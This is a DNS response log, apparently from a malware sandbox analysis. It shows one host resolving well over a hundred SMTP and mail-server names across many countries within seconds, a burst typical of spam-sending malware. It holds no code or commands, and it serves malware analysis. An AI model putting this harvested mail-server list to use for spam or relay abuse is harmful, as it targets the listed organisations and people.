May 19, 2024 17:27:40.735636950 CEST	1.1.1.1	192.168.2.4	0x49fa	No error (0)	smtp-aliant.bell.net		209.71.208.9	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.758019924 CEST	1.1.1.1	192.168.2.4	0x30c5	No error (0)	smtp.centrum.cz		46.255.231.70	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.758038044 CEST	1.1.1.1	192.168.2.4	0x93ce	No error (0)	mail.orientknits.com		103.11.85.79	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.762849092 CEST	1.1.1.1	192.168.2.4	0xb4f2	No error (0)	mail.mwopa.com	pop.secureserver.net		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:40.762849092 CEST	1.1.1.1	192.168.2.4	0xb4f2	No error (0)	pop.secureserver.net	pop.vox.secureserver.net		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:40.762849092 CEST	1.1.1.1	192.168.2.4	0xb4f2	No error (0)	pop.vox.secureserver.net	pop.us-phx.vox.secureserver.net		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:40.762849092 CEST	1.1.1.1	192.168.2.4	0xb4f2	No error (0)	pop.us-phx.vox.secureserver.net		68.178.252.117	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.762849092 CEST	1.1.1.1	192.168.2.4	0xb4f2	No error (0)	pop.us-phx.vox.secureserver.net		173.201.193.97	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.762849092 CEST	1.1.1.1	192.168.2.4	0xb4f2	No error (0)	pop.us-phx.vox.secureserver.net		173.201.193.240	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.762849092 CEST	1.1.1.1	192.168.2.4	0xb4f2	No error (0)	pop.us-phx.vox.secureserver.net		68.178.252.246	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.762849092 CEST	1.1.1.1	192.168.2.4	0xb4f2	No error (0)	pop.us-phx.vox.secureserver.net		68.178.252.153	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.762849092 CEST	1.1.1.1	192.168.2.4	0xb4f2	No error (0)	pop.us-phx.vox.secureserver.net		68.178.252.247	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.762849092 CEST	1.1.1.1	192.168.2.4	0xb4f2	No error (0)	pop.us-phx.vox.secureserver.net		68.178.252.154	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.794400930 CEST	1.1.1.1	192.168.2.4	0x3a3c	Name error (3)	out.romig.com.br	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.799305916 CEST	1.1.1.1	192.168.2.4	0x7225	Name error (3)	securesmtp.alcatel-lucent.se	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.919445038 CEST	1.1.1.1	192.168.2.4	0xa2a0	No error (0)	lycos.co.kr		209.202.254.90	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.939827919 CEST	1.1.1.1	192.168.2.4	0x35e4	Name error (3)	king-se.mx2.staysecuregroup.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.994801998 CEST	1.1.1.1	192.168.2.4	0xca30	Name error (3)	secure.commeuneevidence.be	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.994815111 CEST	1.1.1.1	192.168.2.4	0xff47	No error (0)	smtp.ahou.fr		142.132.181.81	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.999922037 CEST	1.1.1.1	192.168.2.4	0x3da2	Name error (3)	smtp.stilnovoserramentieporte.it	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.119987011 CEST	1.1.1.1	192.168.2.4	0xc7c9	No error (0)	alt2.aspmx.l.google.com		142.251.9.26	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.129479885 CEST	1.1.1.1	192.168.2.4	0x5255	No error (0)	mail.iscolorado.com		23.229.177.233	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.134222031 CEST	1.1.1.1	192.168.2.4	0xd06c	Name error (3)	securesmtp.weldre4.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.202951908 CEST	1.1.1.1	192.168.2.4	0x97f7	Name error (3)	secure.nantherm.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.207679987 CEST	1.1.1.1	192.168.2.4	0xd0a5	No error (0)	walla.com		18.238.243.78	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.207679987 CEST	1.1.1.1	192.168.2.4	0xd0a5	No error (0)	walla.com		18.238.243.121	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.207679987 CEST	1.1.1.1	192.168.2.4	0xd0a5	No error (0)	walla.com		18.238.243.114	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.207679987 CEST	1.1.1.1	192.168.2.4	0xd0a5	No error (0)	walla.com		18.238.243.30	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.235213995 CEST	1.1.1.1	192.168.2.4	0xaa99	No error (0)	mail.transformational-healing.net	pop.secureserver.net		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:41.235213995 CEST	1.1.1.1	192.168.2.4	0xaa99	No error (0)	pop.secureserver.net	pop.vox.secureserver.net		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:41.235213995 CEST	1.1.1.1	192.168.2.4	0xaa99	No error (0)	pop.vox.secureserver.net	pop.us-phx.vox.secureserver.net		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:41.235213995 CEST	1.1.1.1	192.168.2.4	0xaa99	No error (0)	pop.us-phx.vox.secureserver.net		68.178.252.117	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.235213995 CEST	1.1.1.1	192.168.2.4	0xaa99	No error (0)	pop.us-phx.vox.secureserver.net		173.201.193.97	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.235213995 CEST	1.1.1.1	192.168.2.4	0xaa99	No error (0)	pop.us-phx.vox.secureserver.net		173.201.193.240	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.235213995 CEST	1.1.1.1	192.168.2.4	0xaa99	No error (0)	pop.us-phx.vox.secureserver.net		68.178.252.246	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.235213995 CEST	1.1.1.1	192.168.2.4	0xaa99	No error (0)	pop.us-phx.vox.secureserver.net		68.178.252.153	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.235213995 CEST	1.1.1.1	192.168.2.4	0xaa99	No error (0)	pop.us-phx.vox.secureserver.net		68.178.252.247	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.235213995 CEST	1.1.1.1	192.168.2.4	0xaa99	No error (0)	pop.us-phx.vox.secureserver.net		68.178.252.154	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.241591930 CEST	1.1.1.1	192.168.2.4	0x552	No error (0)	smtp.virginmedia.com	smtp-virginmedia-com.edge.unified.services		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:41.241591930 CEST	1.1.1.1	192.168.2.4	0x552	No error (0)	smtp-virginmedia-com.edge.unified.services		84.116.6.19	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.280225992 CEST	1.1.1.1	192.168.2.4	0x734c	No error (0)	mab.com.au		101.0.69.102	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.289866924 CEST	1.1.1.1	192.168.2.4	0x70a7	No error (0)	innovationedge.com		107.180.41.245	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.289876938 CEST	1.1.1.1	192.168.2.4	0x7bb1	No error (0)	smtp.mtctickets.com	smtp.secureserver.net		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:41.289876938 CEST	1.1.1.1	192.168.2.4	0x7bb1	No error (0)	smtp.secureserver.net		92.204.80.0	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.304202080 CEST	1.1.1.1	192.168.2.4	0x873f	No error (0)	smtp.infinito.it		194.185.246.171	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.355995893 CEST	1.1.1.1	192.168.2.4	0xf1fd	No error (0)	cleveleyscarpetcentre.co.uk		64.188.2.244	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.396325111 CEST	1.1.1.1	192.168.2.4	0x3a42	Name error (3)	mail.nakazdlihealth.ca	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.396333933 CEST	1.1.1.1	192.168.2.4	0x1255	Name error (3)	out.rloy.bb4u.ne.jp	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.402158976 CEST	1.1.1.1	192.168.2.4	0x1467	No error (0)	autograf.pl		99.83.253.192	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.402158976 CEST	1.1.1.1	192.168.2.4	0x1467	No error (0)	autograf.pl		75.2.24.159	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.402689934 CEST	1.1.1.1	192.168.2.4	0xc43	No error (0)	mail.biglobe.ne.jp		175.135.252.193	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.402689934 CEST	1.1.1.1	192.168.2.4	0xc43	No error (0)	mail.biglobe.ne.jp		175.135.252.129	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.406986952 CEST	1.1.1.1	192.168.2.4	0xf549	No error (0)	deltanegocios.com.br		104.21.63.171	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.406986952 CEST	1.1.1.1	192.168.2.4	0xf549	No error (0)	deltanegocios.com.br		172.67.148.211	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.411837101 CEST	1.1.1.1	192.168.2.4	0x1255	Name error (3)	out.rloy.bb4u.ne.jp	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.485006094 CEST	1.1.1.1	192.168.2.4	0x65d3	No error (0)	secure.koenig24.com	traff-3.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:41.485006094 CEST	1.1.1.1	192.168.2.4	0x65d3	No error (0)	traff-3.hugedomains.com	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:41.485006094 CEST	1.1.1.1	192.168.2.4	0x65d3	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.18.7.81	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.485006094 CEST	1.1.1.1	192.168.2.4	0x65d3	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.19.116.195	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.504981995 CEST	1.1.1.1	192.168.2.4	0xd873	No error (0)	out.abcearlylearning.com		34.174.160.103	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.510360956 CEST	1.1.1.1	192.168.2.4	0xd7ed	No error (0)	pec.it		62.149.188.200	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.516427040 CEST	1.1.1.1	192.168.2.4	0x849a	No error (0)	mta2.spin.it		79.143.126.202	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.557151079 CEST	1.1.1.1	192.168.2.4	0x3271	Name error (3)	securesmtp.ktfds.co.kr	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.623405933 CEST	1.1.1.1	192.168.2.4	0xb3a8	Name error (3)	out.cynergiegroup.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.623512030 CEST	1.1.1.1	192.168.2.4	0x9d3b	No error (0)	smtp.emailn.de		46.182.21.2	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.628036976 CEST	1.1.1.1	192.168.2.4	0x3f3c	No error (0)	smtp.freemail.hu		84.2.43.67	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.693156958 CEST	1.1.1.1	192.168.2.4	0x1c61	No error (0)	semcodar.com.br		187.108.195.38	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.717848063 CEST	1.1.1.1	192.168.2.4	0x9ed3	No error (0)	b9fire.co.uk		35.214.83.212	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.717876911 CEST	1.1.1.1	192.168.2.4	0x451d	Name error (3)	securesmtp.riepcanada.ca	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.717905998 CEST	1.1.1.1	192.168.2.4	0x5e08	No error (0)	mail.dk		3.125.131.179	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.717905998 CEST	1.1.1.1	192.168.2.4	0x5e08	No error (0)	mail.dk		18.192.246.145	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.717905998 CEST	1.1.1.1	192.168.2.4	0x5e08	No error (0)	mail.dk		18.193.144.171	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.747745991 CEST	1.1.1.1	192.168.2.4	0x80a	No error (0)	mail.optonline.net	mail.altice.prod.cloud.openwave.ai		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:41.747745991 CEST	1.1.1.1	192.168.2.4	0x80a	No error (0)	mail.altice.prod.cloud.openwave.ai		65.20.63.172	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.854042053 CEST	1.1.1.1	192.168.2.4	0x9934	Name error (3)	securesmtp.luismsantos.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.863653898 CEST	1.1.1.1	192.168.2.4	0x9877	No error (0)	coitt.es		90.161.91.233	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.909491062 CEST	1.1.1.1	192.168.2.4	0xcb07	No error (0)	box.ua		178.128.251.242	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.932930946 CEST	1.1.1.1	192.168.2.4	0xa0cf	No error (0)	smtp.scpa.com.ph		104.27.157.70	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.932930946 CEST	1.1.1.1	192.168.2.4	0xa0cf	No error (0)	smtp.scpa.com.ph		104.27.156.70	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.932960987 CEST	1.1.1.1	192.168.2.4	0x7928	No error (0)	smtp.kpnmail.nl		195.121.65.26	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.942456961 CEST	1.1.1.1	192.168.2.4	0x23d1	No error (0)	nuclearit.com.au		103.152.248.23	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.948618889 CEST	1.1.1.1	192.168.2.4	0xb49e	No error (0)	mx192.mb1p.com		147.182.160.18	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.948618889 CEST	1.1.1.1	192.168.2.4	0xb49e	No error (0)	mx192.mb1p.com		147.182.180.139	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.948618889 CEST	1.1.1.1	192.168.2.4	0xb49e	No error (0)	mx192.mb1p.com		164.90.197.143	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.948618889 CEST	1.1.1.1	192.168.2.4	0xb49e	No error (0)	mx192.mb1p.com		164.90.197.105	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.948618889 CEST	1.1.1.1	192.168.2.4	0xb49e	No error (0)	mx192.mb1p.com		147.182.130.78	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.948618889 CEST	1.1.1.1	192.168.2.4	0xb49e	No error (0)	mx192.mb1p.com		164.90.197.162	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.948618889 CEST	1.1.1.1	192.168.2.4	0xb49e	No error (0)	mx192.mb1p.com		164.90.197.79	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.948618889 CEST	1.1.1.1	192.168.2.4	0xb49e	No error (0)	mx192.mb1p.com		147.182.189.184	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.953486919 CEST	1.1.1.1	192.168.2.4	0x144b	Name error (3)	securesmtp.kevinhamstra.nl	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.963088036 CEST	1.1.1.1	192.168.2.4	0x6d77	Name error (3)	smtp.czjuning.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.963145971 CEST	1.1.1.1	192.168.2.4	0xd159	Name error (3)	mail.gbsmarketing.com.br	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.025305986 CEST	1.1.1.1	192.168.2.4	0x8f7a	No error (0)	mx3.fuse.net		150.136.132.149	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.073164940 CEST	1.1.1.1	192.168.2.4	0xfb6b	Name error (3)	out.univesco.co.uk	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.201040030 CEST	1.1.1.1	192.168.2.4	0x558b	No error (0)	mxa.mailgun.org		34.160.63.108	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.201070070 CEST	1.1.1.1	192.168.2.4	0x29fd	Name error (3)	mail.xxjouhxiwrft.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.201117039 CEST	1.1.1.1	192.168.2.4	0x3501	Name error (3)	mail.fevacszfg.fr	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.201145887 CEST	1.1.1.1	192.168.2.4	0x209c	No error (0)	secure.midway.co.uk		162.241.225.12	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.227201939 CEST	1.1.1.1	192.168.2.4	0xd33d	No error (0)	aerosafe.ae		188.114.96.3	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.227201939 CEST	1.1.1.1	192.168.2.4	0xd33d	No error (0)	aerosafe.ae		188.114.97.3	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.260575056 CEST	1.1.1.1	192.168.2.4	0xe559	Name error (3)	brtph8a0.bnr.ca	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.285697937 CEST	1.1.1.1	192.168.2.4	0xca3e	No error (0)	stu.ca		198.164.81.21	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.318691969 CEST	1.1.1.1	192.168.2.4	0xf5d9	Name error (3)	out.superbockgroup.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.358345985 CEST	1.1.1.1	192.168.2.4	0x631f	Name error (3)	smtp.illustratoren.de	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.389923096 CEST	1.1.1.1	192.168.2.4	0x90d5	Name error (3)	out.julianvidal.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.417241096 CEST	1.1.1.1	192.168.2.4	0x61ca	Name error (3)	securesmtp.syxx.cn	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.479708910 CEST	1.1.1.1	192.168.2.4	0xc6a9	No error (0)	mail.optusnet.copm.au	54879.bodis.com		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:42.479708910 CEST	1.1.1.1	192.168.2.4	0xc6a9	No error (0)	54879.bodis.com		199.59.243.225	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.479769945 CEST	1.1.1.1	192.168.2.4	0xcdad	No error (0)	prusales.com.kh		103.224.30.254	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.529124022 CEST	1.1.1.1	192.168.2.4	0x9d87	No error (0)	out.leadlocal.net		108.167.189.113	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.534049988 CEST	1.1.1.1	192.168.2.4	0x2bd7	Name error (3)	eizoks.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.534151077 CEST	1.1.1.1	192.168.2.4	0xc4b4	No error (0)	mail.palmsoft.sk	server1.ip-net.sk		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:42.534151077 CEST	1.1.1.1	192.168.2.4	0xc4b4	No error (0)	server1.ip-net.sk		46.227.176.12	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.549541950 CEST	1.1.1.1	192.168.2.4	0x907d	Name error (3)	smtp.hsdp.gov.co	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.549573898 CEST	1.1.1.1	192.168.2.4	0x957b	No error (0)	mail.inbox.lv		194.152.32.10	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.635840893 CEST	1.1.1.1	192.168.2.4	0xb876	Name error (3)	smtp.gsr-technology.it	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.698188066 CEST	1.1.1.1	192.168.2.4	0xee16	No error (0)	alt4.aspmx.l.google.com		74.125.200.26	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.698273897 CEST	1.1.1.1	192.168.2.4	0xff28	Name error (3)	secure.conestogac.on.ca	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.698302031 CEST	1.1.1.1	192.168.2.4	0xf02d	No error (0)	gestaerkt.de		185.137.168.190	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.744813919 CEST	1.1.1.1	192.168.2.4	0xdff2	No error (0)	maize.com.ua		91.196.0.18	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.771692991 CEST	1.1.1.1	192.168.2.4	0xff39	Name error (3)	out.tim-conseil.fr	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.771805048 CEST	1.1.1.1	192.168.2.4	0x898d	No error (0)	mail.lloydbolam.co.uk		35.214.122.161	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.771835089 CEST	1.1.1.1	192.168.2.4	0xedbc	Name error (3)	mail.unitel.es	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.776384115 CEST	1.1.1.1	192.168.2.4	0x4751	No error (0)	thecowellfamily.com		15.197.142.173	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.776384115 CEST	1.1.1.1	192.168.2.4	0x4751	No error (0)	thecowellfamily.com		3.33.152.147	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.776413918 CEST	1.1.1.1	192.168.2.4	0x3722	No error (0)	mx1.telecable.es		94.100.132.8	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.877444029 CEST	1.1.1.1	192.168.2.4	0xc220	Name error (3)	secure.robnicholson.me.uk	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.886754990 CEST	1.1.1.1	192.168.2.4	0x1e32	Name error (3)	out.miraclestone.com.br	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.932533979 CEST	1.1.1.1	192.168.2.4	0x2e43	No error (0)	smtp.ntlworld.com	smtp-ntlworld-com.edge.unified.services		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:42.932533979 CEST	1.1.1.1	192.168.2.4	0x2e43	No error (0)	smtp-ntlworld-com.edge.unified.services		84.116.6.22	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:43.022243023 CEST	1.1.1.1	192.168.2.4	0x1ab8	No error (0)	smtp.unionsrl.it		62.149.128.203	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:43.022243023 CEST	1.1.1.1	192.168.2.4	0x1ab8	No error (0)	smtp.unionsrl.it		62.149.128.201	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:43.022243023 CEST	1.1.1.1	192.168.2.4	0x1ab8	No error (0)	smtp.unionsrl.it		62.149.128.202	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:43.022243023 CEST	1.1.1.1	192.168.2.4	0x1ab8	No error (0)	smtp.unionsrl.it		62.149.128.200	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:43.119839907 CEST	1.1.1.1	192.168.2.4	0x82d0	Name error (3)	securesmtp.prifoods.jp	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:43.119870901 CEST	1.1.1.1	192.168.2.4	0x82d0	Name error (3)	securesmtp.prifoods.jp	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:43.145298004 CEST	1.1.1.1	192.168.2.4	0xe783	Name error (3)	out.ka-hjemmesider.dk	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:43.279001951 CEST	1.1.1.1	192.168.2.4	0x8788	Name error (3)	afghan24.de	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:43.279033899 CEST	1.1.1.1	192.168.2.4	0xcda1	Name error (3)	vheaved.fr	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:43.438817024 CEST	1.1.1.1	192.168.2.4	0xd47f	No error (0)	maidsnmore.com		199.59.243.225	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:43.469799995 CEST	1.1.1.1	192.168.2.4	0xe3a0	Name error (3)	smtp.bindifencing.com.au	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:43.680000067 CEST	1.1.1.1	192.168.2.4	0x8420	Name error (3)	securesmtp.govi1.191.it	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:43.733773947 CEST	1.1.1.1	192.168.2.4	0x8c7e	No error (0)	mail.gjpipe.com		209.17.116.10	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:43.764300108 CEST	1.1.1.1	192.168.2.4	0x79ae	No error (0)	smtp.email.it	smtp.dka.mailcore.net		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:43.764300108 CEST	1.1.1.1	192.168.2.4	0x79ae	No error (0)	smtp.dka.mailcore.net		194.19.134.66	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:43.764300108 CEST	1.1.1.1	192.168.2.4	0x79ae	No error (0)	smtp.dka.mailcore.net		81.7.169.194	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:43.882564068 CEST	1.1.1.1	192.168.2.4	0xf91f	No error (0)	out.co.uk		64.91.253.60	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:43.901909113 CEST	1.1.1.1	192.168.2.4	0x3c8c	Name error (3)	secure.marical.fr	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:44.001902103 CEST	1.1.1.1	192.168.2.4	0xc738	Name error (3)	mail.ycc.org.tw	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:44.124327898 CEST	1.1.1.1	192.168.2.4	0x4f51	Name error (3)	smtp.ba.daiichisankyo.co.jp	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:44.324260950 CEST	1.1.1.1	192.168.2.4	0xe994	No error (0)	smtp.heartsaver.jp		157.7.144.20	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:44.533519030 CEST	1.1.1.1	192.168.2.4	0xa220	No error (0)	mailinator.com		104.22.12.236	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:44.533519030 CEST	1.1.1.1	192.168.2.4	0xa220	No error (0)	mailinator.com		104.22.13.236	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:44.533519030 CEST	1.1.1.1	192.168.2.4	0xa220	No error (0)	mailinator.com		172.67.7.118	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:44.533612967 CEST	1.1.1.1	192.168.2.4	0x66bb	No error (0)	out.delord.pl	delord.pl		CNAME (Canonical name)	IN (0x0001)	false
May 19, 2024 17:27:44.533612967 CEST	1.1.1.1	192.168.2.4	0x66bb	No error (0)	delord.pl		79.96.63.102	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:44.533643007 CEST	1.1.1.1	192.168.2.4	0xb7a3	No error (0)	interia.eu		217.74.65.52	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:44.573086023 CEST	1.1.1.1	192.168.2.4	0xd318	Name error (3)	out.iasu.co.jp	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:44.635427952 CEST	1.1.1.1	192.168.2.4	0xbfb7	Name error (3)	secure.soulether.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:44.656241894 CEST	1.1.1.1	192.168.2.4	0x8b18	No error (0)	correo.ugr.es		150.214.204.12	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:44.786963940 CEST	1.1.1.1	192.168.2.4	0xbdef	Name error (3)	out.lbsenter.no	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:45.120193958 CEST	1.1.1.1	192.168.2.4	0xc7e8	No error (0)	smtp.ezweb.ne.jp		182.248.170.226	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:45.120193958 CEST	1.1.1.1	192.168.2.4	0xc7e8	No error (0)	smtp.ezweb.ne.jp		182.248.170.98	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:45.196551085 CEST	1.1.1.1	192.168.2.4	0xc6b3	Name error (3)	mail.yangjing.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:45.232255936 CEST	1.1.1.1	192.168.2.4	0x20ef	Name error (3)	securesmtp.uk.vwr.com	none	none	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:45.492928982 CEST	1.1.1.1	192.168.2.4	0x3d36	No error (0)	5x2.de		104.26.6.119	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:45.492928982 CEST	1.1.1.1	192.168.2.4	0x3d36	No error (0)	5x2.de		104.26.7.119	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:45.492928982 CEST	1.1.1.1	192.168.2.4	0x3d36	No error (0)	5x2.de		172.67.68.237	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:45.497899055 CEST	1.1.1.1	192.168.2.4	0x98d0	Name error (3)	mail.ecotener.fr	none	none	A (IP address)	IN (0x0001)	false
